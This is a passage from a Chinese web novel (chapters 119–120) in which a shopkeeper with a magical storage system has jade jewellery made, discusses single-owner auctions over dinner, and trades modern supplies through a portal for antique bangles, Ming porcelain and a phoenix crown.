“上回有客户来拿货，一眼看中你的冰红紫，拜托我问问，300万出不出。”老师傅找来几个配件给她挑选，“你上回留的金条纯度不高，融了50克打底托，项链给你配18K金的吧，不然戴着戴着要变形。” 萧妧妧捡起几根链子来回比对，挑出最适配的一条，“您帮我回了吧，蛋面我自己留着戴。” 大型冰红紫蛋面开价两百大几十万很不错了，给到300万也不算稀奇，愿意主动给出这个价格，看得出来是真心喜欢。 蛋面装进首饰盒，她转而去看另外两个福豆。 “要我说，福豆改成蛋面更好，反正料子够，我给你弄饱满点，以后想改款也容易。”老师傅头遗憾地说。 萧妧妧捧起两枚福豆，裸石大小一致，长宽厚是30×15×8，属于中型规格。 出自同一块原料是不错，然而福豆颜色和蛋面相比偏淡了些，净度完全没问题。 只净度高这一点，福豆的价格就能拉上去一截。 “同行之*间转手的话，一百五六十应该有的。”工作室的小助理发表看法。 意思是放到市场上卖的话，还能涨涨。 至于能涨多少，依然是那句话，全看买家有多喜欢。 不算特别顶级的冰红紫福豆，能卖出一百多万可以说是高档礼品了，拿得出手 萧妧妧摩挲一会，赞叹一会，视线来回打转，差点舍不得给出去。 找来红绳做成挂坠，收进盒子里，她才去看另外几个小东西。 “有个大裂你是知道的，你要的两对耳钉做不成，我给改了一对水滴形耳坠，擦着棉絮的边做出来的。” 耳坠可不小，配件加主石耀眼极了，挂在耳朵上，存在感极强。 她侧了侧脑袋，虽然坠得耳垂轻微不适，但谁让它貌美呢，萧妧妧越欣赏越喜欢。 水滴造型虽是无奈之选，但师傅手艺没的说，线条流畅，弧面光滑，厚度也适中，整体看上去饱满又不失轻盈。 镶嵌工艺更是优秀，亮闪闪的细碎钻石和纯金配件衬托着主石，高贵与优雅体现的恰到好处。 水滴耳坠比福豆高调，正适合成年女性佩戴，和蛋面吊坠配成一对，任何晚宴戴它都很有格调。 萧妧妧满意得不得了，这一对小耳坠不大不小，16mm，能值个四五十万左右。 边角料也没浪费，磨成3-6mm大小的小蛋面，嵌在戒圈上基本满足日常佩戴。 别看小小一枚，几千上万价值不等，不管是自己戴还是出售，都是不错的选择。 几样东西加在一起，哪怕比萧妧妧预估的数量少了些，价格可没少，反而涨了许多。 “翡翠和人一样，不到最后一刻，你永远没办法决定它的价值。”老师傅喝一口茶，吐出茶叶沫子，慢悠悠说。 助理补充：“即便是碎成几段的翡翠，改改依然可以惊艳众人，何况是人。” 从挑选原料到设计出成品，一整套流程经历下来，萧妧妧无比认可他们的大道理。 萧妧妧双手环胸，满意的视线在这一堆冰红紫成品上来回扫。 果然雕涨了，十万的设计费，值！ 票据到手，萧妧妧带上冰红紫首饰回小卖部。 福豆为许年华的双胞胎女儿准备的礼物，需要找个漂亮精致的礼品盒，再就是鬼工球。 今天遇见孟有树，萧妧妧不得不把事情挂在心上。 实在是东西藏得深，记不清在哪里。 为了收纳更多古董，她买了上百个收纳箱，大小不一的小箱子套在最大的箱子里，然后塞进空间，最多能塞下999个。 因为收纳得当，目前装着未清理古董的那一格目前有200个大箱子，200个大箱子里还有更多箱子等着，工程量巨大。 萧妧妧只能静下心，慢慢来。 她的耐心基本靠清理古董锻炼出来，由不得她着急，稍有不慎磕着碰着、用错保养方式，损失惨重。 赶在出门时间之前，萧妧妧顺利从犄角旮旯里翻出包裹完整的鬼工球，寿瓶因为体积和占地够大，反而最先找出来。 寿瓶送来是就保养的很不错，萧妧妧放在系统空间里几乎没动过，因此也不需要她费心。 鬼工球不同，龙傲天玩腻了小玩意，堆放在库房里无人问津，积了薄薄一层灰。 萧妧妧拿到手后，只在登记的时候扫了一眼，根本没顾上，因此得花点时间清理灰尘。 工具是现成的，可惜时间来不及，萧妧妧想到它价值一套房，拿着放大镜一寸一寸检查，确定不存在一丝裂纹、破损，彻底松了一口气，小心谨慎地收进木匣子里妥善存放。 谁让她当着孟有树的面说了大话，如果手上的鬼工球有一点问题，口碑就没了。 有问题尽早发现，她还来得及补救，可以找申明月或者龙傲天紧急送来一个差不多的救场。 回家换了一身得体衣服，化上淡妆，时间刚刚好，萧妧妧踩着点赶到醉月轩。 南市最负盛名的老牌餐厅，创立时间达到百年。 知道归知道，萧妧妧却是第一次来，醉月轩价格相对来说比较昂贵，除了隆重些的宴请，很少有南市人愿意花钱过来吃一顿。 许年华先一步到，萧妧妧进包间才发现，他还带了两人。 “这是我的两个助理，今天顺道来和萧老板见见，混个脸熟。”许年华笑呵呵说。 萧妧妧看他们西装笔挺，暗暗庆幸自己没穿着T恤大裤衩赴约。 握手打招呼相互介绍，好一会才坐下开始点菜环节。 当着助理的面，萧妧妧没多说，礼物递过去，说一声中秋节礼便不提，许年华也没当回事。 “最近太忙了，秋拍马上就要开始，宣传侧宣传视频陆续发出去，要不是有两个年轻人搭把手，真忙不过来。”许年华一边翻看菜单，一边连声抱怨。 萧妧妧追问：“上回那几样东西，应该就在秋拍里？” 许年华面色迟疑，挠挠头说：“手串和玉如意好说，古墨要等等，秋拍主题不合适。” 萧妧妧接过手机，看到了佳博秋拍的宣传视频。 短片快速切换的几个镜头里，出现的全是价值较高的藏品，按照分类来说，对应的是瓷器、玉器、文玩，艺术品少量出现，古墨确实挤不进去。 助理拎起茶壶，依次倒茶，温声插话：“萧老板着急出手，其实可以考虑一下佳博的Single-Owner拍卖专场，许经理正好负责这一块。” 许年华点头道：“对，我差点忘了，还是年轻人记性好。” 萧妧妧听他们一唱一和，不置可否，问：“是什么意思？和秋拍有区别吗？” 助理看许年华一眼，得到鼓励眼神，主动开口解释：“这是佳博的接下来要开展的项目，单一藏家拍卖专场。特点是拍品来自同一藏家的系统性收藏，拍品来源有保证。” 萧妧妧咀嚼片刻，大约听懂了一点，但是想到自己藏的那些乱七八糟万一，没有一点系统性可言。 助理继续解释：“佳博之前推过几次名人私藏专场，请的是收藏圈的大家，以及企业家、著名艺术家等，成交额和成交量表现非常亮眼。 其实Single-Owner拍卖形式是比较常见的，国内外成功的例子很多，主要是在古董珠宝、艺术品、名酒烈酒几个区域比较多。” 许年华适时接话：“单人拍卖专场和常规拍卖的区别其实挺大的，就说价格，因为来源清晰，出自名人之手，所以溢价明显。 我就举个例子，散拍的东西溢价能到50%、60%，专场至少可以到80%。 当然，这不一定准确，但大部分情况来说是这样的。 影响的因素很多，比如专场拍卖的主题，是瓷器呢还是玉器呢？是有名收藏家还是普通收藏家呢？ 话又说回来，普通收藏家也办不起一个专场，佳博的规矩是专场拍卖的送拍品不能少于三件。” “前几年玉器火热的时候，有个圈子里比较有名气的收藏家主动找来开专场。 不知道萧老板听没听说过，孟有树，乾坤地产的大老板，著名老藏家了，当时送了十三件玉器，拍出去九件，最低的卖到了3000万，搁在常规拍卖里，到不了那个价。” 萧妧妧抬了抬眼皮子，原来是孟有树啊，不仅听说过，还见了两回面。 想起孟有树拥有那么大一个展览厅，里面的藏品全部属于他或者他的家人，确实够资本开一个专场。 企业家的私藏，听着就靠谱，轻易吸引到相同领域的收藏者。 萧妧妧心动，为那句高溢价而向往不已。 但…… “数量好说，只是许叔你知道的，我那些东西杂乱无章，撑不起一个专题。” 翡翠可以，宝石也可以，萧妧妧打定主意自留，不想出。 店铺里的那些名贵木料制作的家具倒是可以，数量多、质量好、货真价实的古董，但又面临另一个问题，能不能吸引人进场？ 不考虑没办法公开拍卖的东西，萧妧妧扒拉一通，书画没有，瓷器不够，家具拿不出手，名酒烈酒艺术品一件没有。 说到底还是底子太薄。 许年华出主意：“不一定要一个主题，能拿一个有名气的宣传出去，同样可以操作一下。” 萧妧妧思索，有名气的藏品，除了汝窑和帝王绿，朱可心紫砂壶是个不错的选择。 其他的话，翡翠珠链和无烧蓝宝石戒指可以凑数，只有一点不好，冲着紫砂壶来的买家，恐怕不会对宝石和翡翠有意思，成交量上不去。 许年华见她意动，道：“不着急，萧老板回去慢慢考虑，古董铺里好货那么多，愁什么。” 萧妧妧一想也是，回头拜托苏娇娇和申明月帮帮忙，就算凑不出一个完整系列，也可以用数量硬砸。 于她而言，收集足够数量的宝贝不难，真正有难度的，是如何让别人走进拍卖行，并从她这个名不见经传的普通藏家手里买走东西。 这和藏家名气、信誉乃至资本运作脱不开关系，萧妧妧暂时不敢想太远，畅想片刻又回到现实当中。 一步步来吧，万事开头难嘛。 饭前讨论许多，用餐时倒没再说古董的事，萧妧妧做聆听者，听许年华讲些圈子里的趣事，了解了解各个藏家的消息。 收藏圈有名气的就那么几个，萧妧妧从前没听过，这几天一下子了解一大半，不禁感叹，有钱人可真多，光是每年买翡翠、古董回去收藏把玩，至少花费千万甚至上亿。 吃吃喝喝尽了兴，许年华神色一肃，端起酒杯，再次为自己的疏漏道歉。 一杯酒进肚，这事算过去了。 事发时心里不爽是真的，事情过去了，记性不好（吃瓜除外）的萧妧妧什么气都没了，端起酒杯，认认真真感谢了许年华的照顾。 结束之后，两人的脚步略微虚浮，助理们接下重担，开车送他们回去。 下车前，萧妧妧特意拍了拍装有月饼的包装袋，“许叔，回去急得吃月饼，摆久了不新鲜。” 许年华愣了愣，秒懂，搓了搓脸，“萧老板真客气，专拍的事你放心，好解决，有想法随时给我消息。” 萧妧妧笑了笑，挥挥手嘱咐他们小心些，目送车子走远，然后垮下肩膀深呼吸。 饭局什么的，再好吃也心累，幸好许年华准备的红酒，不然可要闹笑话了。 “叮铃铃” 路边晃荡着，打算吹风醒神，散去身上酒气，手机铃声急促响起。 “萧老板，听说你手上有条帝王绿的珠链，哪天方便去看看货？” 萧妧妧拧眉，挪远手机，眯眼确认陌生的来电号码。 拿下帝王绿的消息，按理说只有高鹭知道，最多再加上那几个有想法的翡翠商。 高鹭明确说过没有透露买卖信息，那么…… 萧妧妧恍然，终于忍不住要找上门了？ 【作者有话说】 感谢读者“哦了瓦特了”,灌溉营养液 +15 感谢读者“四方”,灌溉营养液 +1 感谢读者“陆沉脑婆”,灌溉营养液 +20 感谢读者“妧訢”,灌溉营养液 +10 感谢读者“catle”,灌溉营养液 +1 感谢读者“本本本本肉”,灌溉营养液 +20 感谢读者“momo”,灌溉营养液 +1 感谢读者“又是攒不了文的一天”,灌溉营养液 +1 感谢读者“熙妍”,灌溉营养液 +5 感谢读者“mmmosquito”,灌溉营养液 +10 感谢读者“22104947”,灌溉营养液 +10 感谢读者“小张”,灌溉营养液 +6 感谢读者“木昰”,灌溉营养液 +1 119 第119章 ◎难道是红翡？◎ 本该用来休闲的周末比工作日更忙。 到了周一,萧妧妧反而有种松快了的错觉。 临出门前，张芸叫住萧妧妧，一顿挑剔，从发型到穿着再到素净的脸。 “是不是缺钱用了？妈给你打钱。上次不让你买那么多,你不听,没钱花了吧？” 萧妧妧抖了抖牛仔破洞大裤衩,以及专为清理古董而穿的灰色旧T,看起来是有点穷。 “昨天我就想说你了，你看看别的小姑娘,穿得漂漂亮亮，你倒好。你以前也不这样啊,赶紧把你买的衣服翻出来穿，再不穿马上到秋天了。” 张芸嘴里说个不停,手上动作也不慢，立刻转了五千过来。 萧妧妧没拒绝,喜滋滋收下,照旧穿着她的破衣裳去小卖部。 隔壁189号的奶茶店老板前后脚到,钥匙交给她,领着萧妧妧进去检查铺子和院子,其他杂事顺带一起交待。 店铺拆了操作台和装饰，冷藏柜以及机器全部拖走卖掉，后院打扫的干干净净，杂物房和库房看不到一点多余东西。 萧妧妧站在院中,看着拆得空荡荡的店铺，总算有了实感。 她真的,眼睛一眨不眨,花了七百多万买下一间带院子的商铺。 从动念头到付钱拿到本本,一天不到，一个周末过去，已经可以进入装修阶段。 送走前奶茶店老板，萧妧妧赶紧去景区办公室联系工作人员，报告装修的事。 “189号啊，原来你给买走了，”工作人员吃过瓜，知道商铺卖出去了，但是没想到买家是隔壁188号的老板。 “你家铺子挺大的，怎么又买一个？”工作人员一边写条子走流程，一边和萧妧妧唠嗑。 萧妧妧笑着胡诌：“生意太好了，原先那点地方不够用，扩大一点也能多加几个货架。” 工作人员笑了笑，也是，要不是生意好，谁闲得没事扩张店铺啊。 “那你运气好，现在买便宜，早一两年都得多给一二百万。189号花了多少钱啊？我听说老板卖得贵，挂了好几年。” 萧妧妧知道工作人员习惯和商户闲聊，毕竟都认识许多年了，不是刻意探听什么。 她仍旧小心应对，苦笑着说：“是便宜了不少，不然我也不敢拼一把。大几百万吧，找朋友借了点，又和银行借了点，勉强凑出来，希望以后生意好点，把窟窿补上。” 工作人员推了推眼镜，咋舌。 大几百万买一套院子，就为了扩张商铺开小卖部。 生意好到这个地步？ 诧异一会，想起前阵子小卖部前面人潮涌动的情况，工作人员释然了。 也对，听说小卖部在网上火了，好多人过来打卡，还听说接了老方家的摊子，折腾出一个古董铺，生意好像还不错。 “还是你们年轻人会做生意。”工作人员点击打印，抽出温热的A4纸，盖下印章，“行了，拿去吧，188号才装修没多久，注意事项你都知道的，189号没那么多要求，别改变外观就行。” 和正儿八经的月牙巷老房子188号比，189号是为了景区格局，后期按照月牙巷风貌加建的建筑，除了外观需要保持一致，内里相对来说要求宽松许多，也因此，准许下发得痛快。 萧妧妧爽快应声，马不停蹄联系施工团队给189店铺大门围上绿化墙。 一个上午过去，装修流程眼看着要走上正轨，只等简单的拆除工作后，才轮到她操作系统布置新店。 萧妧妧难得闲下来，没能休息一会，回到古董铺清理鬼工球。 细致活快不了，孟甜甜教爱丽丝怎么用匕首伤人\龙的时候，她在忙着吹灰。 孟甜甜教爱丽丝怎么辨认丛林有毒蘑菇的时候，她忙着用刷子扫灰。 孟甜甜辅导爱丽丝学习简单算术的时候，萧妧妧这里总算告一段落。 然后就是另一件事。 为了惊艳孟有树，萧妧妧打算把拿得出手的东西通通摆在柜台里，为此又是一番挑挑拣拣。 多宝架上的摆件换了又换，无烧蓝宝石戒指和翡翠珠链平铺摆放在柜台里，营造出漫不经意的感觉。 鸽血红项链、帕帕拉恰项链获得了单独展台，摆在展柜一角，C位则摆放让她爱不释手的牙雕牡丹。 一眼扫过去，五百万、二百八十万、千八百万、上亿……萧妧妧有种暴发户炫富感觉。 古董铺焕然一新，时间也来到了傍晚。 萧妧妧以为一周的第一个工作日就这么平平无奇的度过了，便衣警察找上门。 掏出证件，确认身份，萧妧妧茫然之中有些忐忑。 毕竟靠着系统“走私”过成百上千的古董、货物，说不心虚是假的。 “这几个人你认识吗？” 直到警察掏出一沓照片，看到熟悉的彩虹发色，萧妧妧倏然放松了。 她大诉苦水，把他们守着小卖部和古董铺，吓唬顾客的那点事全抖落出来。 萧妧妧想问问他们出什么事了，警察没说，了解情况过后径直离开。 难怪看不见影了，她以为自己把人吓太狠，不敢来了，原来是犯了事，蹲局子呢。 想起昨晚打来电话约时间看货的翡翠商赵老板，萧妧妧这才把所有事情穿成线。 萧妧妧挠头，不禁笑出声。 正好这时候快递到了，萧妧妧笑了一会忙着收货。 是布料厂后一批发来的麻布，和前面几批货堆在一起，占了系统空间一格。 再看旁边的鸡鸭兔子、药材、布鞋、米面油……萧妧妧忍不住念叨起来，也不知道苏娇娇那里什么时候能顺利解决。 “妧妧，船到了，我刚把工人支回去，今晚行动如何？” 说起苏娇娇，转眼她就出现。 不止自己来了，她还抱来一个一摞匣子。 萧妧妧擦了擦手，欢快地迎上去。 “没问题，刚好新买一批麻布到货，你要的物资全齐了。”萧妧妧暂且不去管匣子，伸头打探结界另一边的环境。 苏娇娇解释：“我让船工把船藏在芦苇荡里，已经藏了两天，没人察觉。船工是苏家的人，早早让我支走，不会走漏消息。” 萧妧妧暗想，难怪看着黑漆漆，却还有一簇簇的白色毛絮絮在摆动。 乌漆嘛黑，难为苏娇娇一个人在芦苇荡守着。 “不止我，这次有管家跟来，他对苏家最忠心不过，他的儿子儿媳全死在战场上，苏管家除了为苏家办事，一心想着为家人报仇。” 苏娇娇拍了拍木匣：“瞧，这些东西是苏管家送来的，船上还有呢。多亏了它们，苏管家打着走礼的名头闯过封锁线，不然几艘空船未免太可疑了。” 萧妧妧放心了，催苏娇娇回船舱底部，她好根据定位投放物资。 苏娇娇唉了一声，转身离开。 过了一会，结界有豆大的烛光亮起，苏娇娇知道萧妧妧能听见，不高不低地喊话：“就是这里。” 萧妧妧看她拿着油灯在船舱里转了一圈，估摸着容量放出米面油等物。 苏娇娇身体一晃，烛光跟着跳跃，本就不够明亮的船舱内部忽明忽暗，等她稳住身体，明显感觉到船体下沉些许。 满怀期待地转过身，看到堆满舱的粮食，苏娇娇情不自禁露出微笑。 即便已经见识过小卖部神奇之处，再见，苏娇娇仍旧抵挡不住惊喜的情绪蔓延。 真厉害啊。 不仅在短时间内收集到大批量物资，还能悄无声息的送来，整段流程，苏娇娇要做的不过是找到合适的承载工具。 她往后退了几步，露出没有填满的几平米，萧妧妧秒懂，准备好的蔬菜种子送过去，刚好填满。 接下来是第二艘船，虽然同样是老旧的木质货船，装载量略大一些，分上下两层。 萧妧妧睃巡片刻，把鸡鸭鹅等活禽送过去，放在底层，第二层面积小，装布料和布鞋刚刚好。 第三艘船不用考虑，全部装了药材，第二层装着萧妧妧另外准备的一些零散物资。 说是零散，其实量也不算小，是她查阅过资料后准备的东西，碍于苏娇娇没有主动提及，萧妧妧没敢订太多，担心她把物资送去后解释不清。 毕竟都是生活必备用品，产量产地大家心里有数，突然冒出大量物资，哪怕用苏家库存的名义也不好说。 苏娇娇等到物资转移结束，瞄一眼外面，微风徐徐，虫鸣鸟叫，不时传来鱼儿跃出水面的动静，安全。 她和萧妧妧交待一声，钻进船舱检查货物。 从第三艘开始，确定药材干燥没有发霉潮湿迹象，苏娇娇赞叹一句药材保存的完好，转而去楼上检查。 萧妧妧提前说过，会有一些散碎东西，苏娇娇想不到是什么，打开麻布袋子，倏然愣住。 “煤球、棉花、桐油、凤凰牌火柴、毛边纸、压缩饼干！” 萧妧妧解释：“火柴是仿制的，有人喜欢玩情怀会收藏它，所以总体量不大，2000盒，应该能凑合用。 煤球选了老式的12孔，我查过资料，样子大差不差，绝对能糊弄过去。 棉花准备的不多，但总比没有的好，你要是需要，下次给你买。 毛边纸不知道是不是你们用的那种，我从市场上买的，老板说搁在以前当卫生纸用，所以就准备一些。 听说你们那里用桐油点灯，我多买了几罐子，特意装在坛子里，也不知道像不像那回事。 这玩意好弄，不够用你就说，我不知道你们缺不缺，没敢准备太多。 至于压缩饼干，我担心会露馅，全部拆了薄膜包装用蜡纸裹起来，工程量大，我来不及准备太多。 希望不是我多事了。” 一口气说完，萧妧妧嘿嘿傻笑，略带了些自作主张的尴尬。 苏娇娇激动地说不出话，好半天才道：“不，怎么是多事呢？你能准备这么多东西，实在是太好了！这些都是我们需要的。” 苏娇娇脸颊红红，表情略有些羞愧。 按理说，这些需求该是她提出来，而不是让萧妧妧蒙着眼睛自己查资料搜罗。 到底是生活方式不同，家家户户必备的生活物资，苏娇娇根本不了解，她的衣食住行皆有佣人打理。 什么烧一壶水用几颗煤球、一升桐油够点多久、毛边纸火柴这类在家里随意可见的东西，更是被她自动忽略了。 萧妧妧所谓的“零散”物资，说数量不多都是她在谦虚，其实已经很大程度的改善了大家的生活水平。 苏娇娇捂着噗通噗通跳的心口，飞奔去第二艘船。 布料她见过，扫一眼便放在脑后，去看那一袋袋成双成对的布鞋。 考虑到她突然换新鞋有些突兀，萧妧妧让她等等，等这一批鞋子送过去，苏娇娇再大大方方拿出来穿。 鞋子是布鞋店挤压下来的旧款，说新不新，说旧不旧，机器扎出来的鞋面鞋底格外密实，针脚非人力能比。 萧妧妧想好了，照旧用老一套借口，海外同胞援助，机器制作。 苏娇娇看了看，本该印在鞋底鞋码信息，穿过结界后自动消失，不管怎么检查，都和普通布鞋没差别。 而这样的普通布鞋，一共装了3个半人高的麻袋，因为压得紧实，看起来沉甸甸，一袋大约有四五百双左右，足够许多战士换上新鞋子。 想到大家穿着一双草鞋上山下河、劳作训练，坏了就补，补不了就赤脚，割伤了脚也蛮不在乎，冻疮留下的痕迹即便到了夏天仍旧清晰，这些布鞋来得太及时了。 苏娇娇露出舒心笑容，抱着结实的布鞋看了又看。 “早知道如此，我该多买点布鞋才对。” 萧妧妧搭话：“现在下单也不晚。” 买的时候没挑剔尺码，有什么买什么，男鞋女鞋不限，全部要统一的颜色，发货速度飞快。 苏娇娇转念一想也是，她至少要留在这里一个月，来得及。 原以为这些出乎意料的物资已经足够惊喜了，来到第一艘穿，检查米面粮油的时候，发现还有高粱、大豆、红薯片、玉米等，苏娇娇捂着嘴才没惊叫出声。 “和米面比，杂粮确实不太多，图个营养均衡，”萧妧妧指了指一角：“对了，那里塞了几个坛子，里面装得是冰糖和盐，你看看能不能拿出去。” 苏娇娇依言找到角落位置，果然有几个膝盖高的酒坛，掀开盖子，是满满的方形冰糖和细白的精盐，每个三坛。 即便有系统自动消去图文标识，隐藏位面信息，包装袋却无法改变。 为了符合时代背景，也为了方便她处理，索性采购一批酒坛子，通通拆袋倒进去。 萧妧妧采购物资之后，除了拆开包裹清理垃圾，最忙的步骤，应当就是伪装这个环节。 尤其苏娇娇所在位面背景敏感，稍有不慎就是害了她。 那个时代，聪明人太多，必须小心再小心。 苏娇娇确认物资不存在纰漏，吹灭油灯，一个人推着木箱子吭哧吭哧回到小卖部。 “东西先给你送来，等到深更半夜的时候，我再去叫人来。” 她拍拍箱子，直起身缓缓喘息，“汝窑不好找，我给你找来几件官窑，喏，你自己打开看看。” 苏娇娇累得不行，也不和萧妧妧客套，熟门熟路找地方坐下，给自己倒茶。 萧妧妧顿时笑开了花，屁颠屁颠去柜台上扒拉木匣子。 挑选一番，她选择中了长型木匣，兴致勃勃打开。 “这……”萧妧妧愣住，说好的官窑，怎么变成镯子了。 一共两枚镯子，一红一绿，本该俗气的搭配，放在一起竟意外的和谐。 绿的她知道，阳绿手镯，红的，难道是红翡？ 【作者有话说】 有看到评论区的建议哦，但是……不太敢写[可怜] 背景做了架空处理，行文中也模糊了一些信息，再直白一点，或者说深入去写，提及真实存在的（），总会担心违.规。 胆小如我，想写又拿不准具体尺度，所以选择稍微稳妥一点的情节放上来，大家能明白那个意思就好 猜猜看，后面会出现什么现实里听起来就很扯（现实扯，关小说什么事）的宝贝[垂耳兔头] 感谢读者“22104947”,灌溉营养液 +10 感谢读者“南歌子”,灌溉营养液 +1 感谢读者“木昰”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“我也不知道我叫啥”,灌溉营养液 +1 感谢读者“快乐加倍”,灌溉营养液 +10 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“哦了瓦特了”,灌溉营养液 +10 感谢读者“大大很帅”,灌溉营养液 +5 120 第120章 ◎打底一个小目标◎ 苏娇娇直起身,伸着脑袋去瞄匣子。 看到一红一绿，她一拍脑门：“瞧我这记性，之前给你换回来的翡翠镯子，这次让管家带来一并给你。” 喝完半杯茶水,滋润干燥口腔,苏娇娇继续说：“它们是一对,绿的是玻璃种正阳绿,红的你说对了，高冰鸡冠红。” 萧妧妧嚯了一声,捧着匣子的手轻微颤抖，赶紧放回柜台上。 两镯子圈口一致,58mm，条宽13.5,厚度10mm，胖圆条上雕了龙凤纹。 阳绿是龙纹,鸡冠红是凤纹,隐约会看一点雕刻技法的萧妧妧,一眼看出两枚手镯出自同一匠人之手。 先说阳绿,不仅光泽明亮,颜色鲜艳，种水也出奇的好。 她尝试取出镯子放在楼盘宣传单上，果不其然能透出纸张上的字，可见透明度极好。 在满足雕工、色泽、透明度几个条件后,萧妧妧拿起放大镜去看手镯内部。 “好漂亮，无裂无棉无杂质！”萧妧妧惊呼。 苏娇娇老神在在说：“我倒是更喜欢红翡,你瞧瞧,它也不差。” 萧妧妧哪怕没能仔细看红翡一眼,也愿意相信苏娇娇的话。 有财力打造一支阳绿手镯，与之配对的红翡又能差到哪去？ 萧妧妧举到专用台灯下，放大镜刚挪上去，又嚯了一声。 不止不差，还更甚一筹。 “要我说，这样的红翡，该用帝王绿配，不过这一对确实还不错。”苏娇娇评价道。 萧妧妧咋舌，苏娇娇到底见识过多少好东西，这样一对镯子竟只得了“还不错”的评价。 红色是翡翠里的次生色，它主要出现在原料的表皮层，由自然界的铁元素进入其中形成的红色调。 眼前这枚红翡镯子，同样是胖圆条，看着结实的很，凤纹清晰，颜色均匀且饱和度高，看不到一点黄色、棕色。 放在灯光下，折射出来的红色投到白色纸张上，连光感也意外的好，透明度更是不必说。 品完颜色雕工，萧妧妧忙着开始找茬。 翻来覆去，依然无裂无棉无杂质。 萧妧妧摩挲片刻，只觉得润。 “无烧红翡？”她诧异地问。 苏娇娇歪头看过来，萧妧妧一顿，意识到自己问了个智障问题。 两手镯一看就是有年头的老货，那时候可没杂七杂八的手段。 想到这里，萧妧妧不仅倒吸一口气。 阳绿手镯已经不便宜了，再来一个无烧红翡搭配，这两枚手镯成对出，大几千万肯定可以拿下。 如果来源清晰，配上权威机构的检测证书，送去拍卖行，过亿轻而易举。 当然，最划算的是拿到证书后自己收藏。 阳绿的价格连年上涨，每年增幅在10%左右，而最近两年达到了恐怖的19%，留在手里比任何投资都赚。 萧妧妧把计算器按得滴滴响，估算出几年后的价格，忍不住哇了一声。 难怪在富豪的财产配置中，除了股权地产矿产等，也热衷于购买顶级珠宝一类的艺术及奢侈品。 图奢华享受是一方面，最重要的是可以保持财富的增长，传承后代，换句话说，只要买到真的，行情不崩的前提下，只有赚得份。 如果能买到极度稀缺或者近乎绝迹的，一代代传下去，不敢想象是怎样的天价。 萧妧妧不禁走神，自从存款过亿、金条多得塞不下，她也改变了理财思路。 矿产基金私募距离她太遥远，房产、股权、珠宝是最适合她调整资产的路径。 股权正在进行中，房产暂时没有合适的，珠宝这条路倒是走得稳当。 萧妧妧眼神发*飘，想象自己手戴龙凤镯，脖子挂着帕帕拉恰、鸽血红、帝王绿，每过一分一秒，它们头顶跳出+1的字样，涨个不停。 “再也不嘲笑有钱人钱多烧得慌，原来是我没见过世面。”萧妧妧摇头叹息，美滋滋收起龙凤镯。 “嘿嘿嘿，让我看看我的官窑小宝贝。” 萧妧妧苍蝇搓手，笑嘻嘻回到柜台边。 装着官窑的匣子都不算大，她估摸着，差不多是些杯碗碟之类的东西，倒是苏娇娇最后拖进来的大箱子更能引起她的兴趣。 挪回目光，萧妧妧把柜台上的五个木匣依次排开，然后全部打开盖子。 一眼撇过去，看到色调不一、深浓不定的青花，萧妧妧瞬间反应过来，这些是明官窑。 三件青花盘，一长形、一圆形、一椭圆形，均以梵文作纹样。 两件青花碗有巴掌那么大，敞口，深弧腹，胎体轻薄，碗心绘花卉，碗口一圈如意纹，外面则是大家都眼熟的缠枝花卉纹。 青花层次确实通透，至于纹饰笔意是否洒脱，萧妧妧无法评判。而说到足底工艺，她完全看不懂。 因为在孟有树的私人藏品中见识过青花瓷，萧妧妧了解一点辨别方式，可惜经验不足，大致扫一眼发现看不出来什么有用信息，赶紧翻过来看款识。 两行六字“大明万历年制”，字体肥厚，应当出自万历晚期。 想什么来什么，这五件刚好凑出一个专拍。 最近几年，青花瓷器受到追捧，价格稳步增长，万历官窑瓷器也有较高的收藏价值。 佳博去年拍出过几件小器型青花文具，平均都在百万以上的价格，眼前的青花盘、碗不仅完整，而且保存良好，只会更甚。 萧妧妧一盘算，哪怕“更甚”，青花瓷器价格加起来不足龙凤镯的一半，为它们开一个专拍有点浪费时间、精力，兴奋劲顿时消散。 飘了飘了，她现在和高鹭没什么两样，几百万的东西都看不上。 “怎么，看不上？”苏娇娇看她神色很快平静下来，打趣的问。 萧妧妧连连摆手，想解释又说不出合适的理由。 “正常，任谁见过汝窑，都不会再为其他瓷器而惊叹。”苏娇娇说：“不过是看着便宜，一根金条一个，我索性全买下了。” 一根金条一个！ 萧妧妧又行了，这一转手，翻倍的赚！ “若是真看不上，留着自用倒也不错。”苏娇娇笑着说：“有个合作商要出帝王绿的玉佛，说是有人脑袋那么大，引得外国人都寻了过去，我去信请他多留一段时日，到时候一定给你买来。” 萧妧妧一脸不忍，赶紧摇头：“谁家吃饭用几百万的碗啊。” 然后又说：“帝王绿的玉佛？我的天……要不少金条吧？我回头再给你拿点。” 她一一合上盖子，塞进收纳箱，顺手找出存放金条的盒子。 因为金条过多，放在柜台上萧妧妧都要担心压垮玻璃台面，“铛”得一声放在了地上。 苏娇娇惊讶得不行，凑过去一看，满目的金色。 “这么多我可带不走，先在这里放着，等我谈妥再来拿。” 萧妧妧一拍脑门，暗暗嘀咕自己被帝王绿带走了脑子。 苏娇娇走到大木箱旁边，招了招手：“青花瓷你不喜欢，它们你肯定满意。” 萧妧妧挑眉，噔噔噔跑过去开盲盒。 大箱子打开，里面又套了四个小箱子，方方正正排在一起。 苏娇娇依次抱出来，小心平放在桌面，转动方向面对萧妧妧后，抽开薄薄的挡板。 “点翠凤冠？”萧妧妧瞪大眼睛，“这……太贵重了吧。” 她弯腰俯身，凑近去看，果然是那个只在博物馆见过的凤冠，只是不及博物馆的奢华与大气。 “这件凤冠并非皇室流出，是一位祖上出过封疆大吏的太太私下卖与我。”苏娇娇说。 伸出小拇指轻轻触动上面的凤凰尾羽，连带着挂在前面的宝石流苏跟着轻颤，点翠制作的凤凰好像要飞出来一样。 可惜现代交易违法，否则送上拍卖行，打底一个小目标。 大概是藏得严实，又或者光线不够，点翠凤冠显得黯淡些许。 即便如此，萧妧妧仍旧被精美又繁复的凤冠美了一大跳，控制不住掏出手机拍照片。 苏娇娇见她一脸稀罕的样子，围着点翠凤冠团团转，捂嘴偷笑。 “你快省省吧，咱们才看了第一件呢。” 苏娇娇娇嗔着提醒，萧妧妧脸一红，嘿嘿笑。 第二件依然是头冠，比起凤冠，这件看起来像日常穿戴的款式，清新淡雅。 头冠整体呈现莲花造型，通体采用螺钿工艺，结合金属工艺。 十八片莲花瓣大小不一，却个个精美，花瓣由贝壳打造，随意挪动分毫，花瓣上便有淡淡的彩色渐变珠光在流动，真五彩斑斓的白。 